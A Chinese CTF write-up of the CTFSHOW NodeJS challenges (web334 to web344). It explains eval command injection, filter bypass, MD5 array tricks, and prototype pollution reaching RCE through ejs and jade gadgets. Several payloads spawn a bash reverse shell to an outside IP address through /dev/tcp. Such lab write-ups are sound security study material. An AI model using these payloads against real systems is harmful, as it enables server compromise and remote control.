【CTFSHOW】web入门 NodeJS

文章目录

    • 写在前面
    • web334
    • web335
    • web336
    • web337
    • web338
    • web339
    • web340
    • web341
    • web342
    • web343
    • web344
    • 参考资料

写在前面

web334

下载附件,其中user.js得到用户名为:

CTFSHOW

密码为:

123456

审计login.js代码,其中:

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

得到name不能为“CTFSHOW”,但只要name的大写与CTFSHOW相同即可。

payload:

ctfshow
123456

web335

右键查看源代码,提示:

?eval=

应该是可以直接执行js命令:

?eval=var a=require('child_process');a.execSync('ls');

发现flag文件名称为“fl00g.txt”,我们cat一下即可看到flag:

?eval=var a=require('child_process');a.execSync('cat fl00g.txt');

关于child_process可以看child_process模块官方文档

【CTFSHOW】web入门 NodeJS_第1张图片

web336

添加了过滤,我们用拼接可以成功(注意,需要url编码,否则+会被识别成空格):

?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('ls')
?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('cat f*')

也有不用拼接,而使用spawnSync的payload,但自己试了后并没有回显flag,控制台里也没有输出,不知道是什么原因,希望有大佬可以指点一下。

?eval=require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

web337

源码中判断逻辑:

var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
   res.end(flag);
}else{
   res.render('index',{ msg: 'tql'});
}

MD5的话我们可以使用数组绕过,一开始尝试用和php一样的payload:

?a[]=1&b[]=2

没成功,在中括号之间各加了一个冒号(这里冒号也可以是任意字母,但不能为数字),成功回显flag:

?a[:]=1&b[:]=2

也可以用:

?a[]=1&b=1

至于原因,可以看一下输出结果:

【CTFSHOW】web入门 NodeJS_第2张图片

【CTFSHOW】web入门 NodeJS_第3张图片

第一张图为传入a[1]=1&b[1]=2时的MD5加密输入项,js将a和b分别解析为’1’和’2’与flag拼接。

而第二张图传入a[:]=1&b[:]=2时,都返回[object Object]flag{xxx}。

至于a[]=1&b=1就不言而喻了。

web338

下载源码,看到utils/common.js中的copy函数,以及routes/login中新建了secret类,可以猜测考察的是原型链污染。

学习了一波原型链污染:深入理解 JavaScript Prototype 污染攻击

粗略总结了一下原型链攻击的原理:

  • 首先用一个类新建一个对象

  • 我们给这个对象的__proto__属性赋值

  • 这时这个对象对应的类创建的所有对象的属性都会存在这个赋值

  • 举个:

  • let c = {llama:33}
     c.__proto__.llama = 44
    let d = {}
    console.log(d.llama) // 输出:44
    

    原型链污染最常用的就是Object类,这里我们用Object类新建了两个对象:c 和 d 。

    虽然 d 我们并没有赋予它任何属性和值,但是当我们修改了对象 c 的__proto__属性,这时 Object类中就存在键值对:{“llama”:44}。d 作为Object类创建的对象也会具有键值对:{“llama”:44}

所以,当某些函数能够控制类的键名时,就可能存在原型链污染。

特别是这个copy函数,与P神的博客不能说相似只能说完全一样:

【CTFSHOW】web入门 NodeJS_第4张图片

再看login.js中的判断逻辑:

utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
  res.end(flag);
}else{
  return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
}

我们可以污染Object类,在其中添加{“ctfshow”:“36dboy”}这个属性。

{"__proto__": {"ctfshow": "36dboy"}}

在主页登录时抓包,然后修改post请求的body为payload即可响应flag:

【CTFSHOW】web入门 NodeJS_第5张图片

web339

在api.js中:

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。

  • 预期解

先抓包访问/login,实现query值的覆盖,再访问/api来执行query的值。

一开始用id命令试了下,query值被覆盖为了id。之后想批量删除属性值但是自己太菜,没成功:

{"__proto__":{"query":"\u000areturn e => { for (var a in {}) { delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('id')}\u000a//"}}

无奈刷新了靶机,再用反弹shell的值覆盖:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}

【CTFSHOW】web入门 NodeJS_第6张图片

反弹成功:

【CTFSHOW】web入门 NodeJS_第7张图片

flag在./routes/login.js里:

【CTFSHOW】web入门 NodeJS_第8张图片

  • 非预期解

直接拿了羽师傅wp上的payload:

{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}

ejs rce可以参考:Express+lodash+ejs: 从原型链污染到RCE

web340

login.js部分代码:

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

这里user对象套了两层,我们可以运行如下代码理解一下原理:

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}

var user = new function(){
    this.userinfo = new function(){
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}

payload = JSON.parse('{"__proto__":{"__proto__":{"query":true}}}')
copy(user.userinfo,payload)

console.log('payload:')
console.log(payload) // { ['__proto__']: { ['__proto__']: { query: true } } }

console.log('Object:')
console.log(user.query) // true
console.log(user.userinfo.query) // true

可以看到,当我们嵌套两层__proto__时,不管是user对象还是user.userinfo对象都存在query属性,并成功被赋值。而如果我们将payload改为:

payload = JSON.parse('{"__proto__":{"query":true}}')

时,再运行代码会发现user.userinfo.query属性存在,但user.query为undefined。

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}

弹shell即可。

web341

用的是web339的ejs rce,不过要和web340一样嵌套一下。payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}

访问任意页面即可。

web342

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}

在用burp发送之前要把请求头中的“Content-Type”改为"application/json"。

web343

同web342

web344

源码:

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了逗号和逗号的url编码2C,我们用“&”连接三个属性,NodeJS会自动拼接:

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

不过还需要对属性进行url编码,payload:

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。

参考资料

深入理解 JavaScript Prototype 污染

Node.js 常见漏洞学习与总结 (附有NodeJS其他漏洞的复现)

Express+lodash+ejs: 从原型链污染到RCE

再探 JavaScript 原型链污染到 RCE

CTFSHOW nodejs篇

ctfshow nodejs篇

你可能感兴趣的:(CTFSHOW,node.js,javascript,web安全,jquery,npm)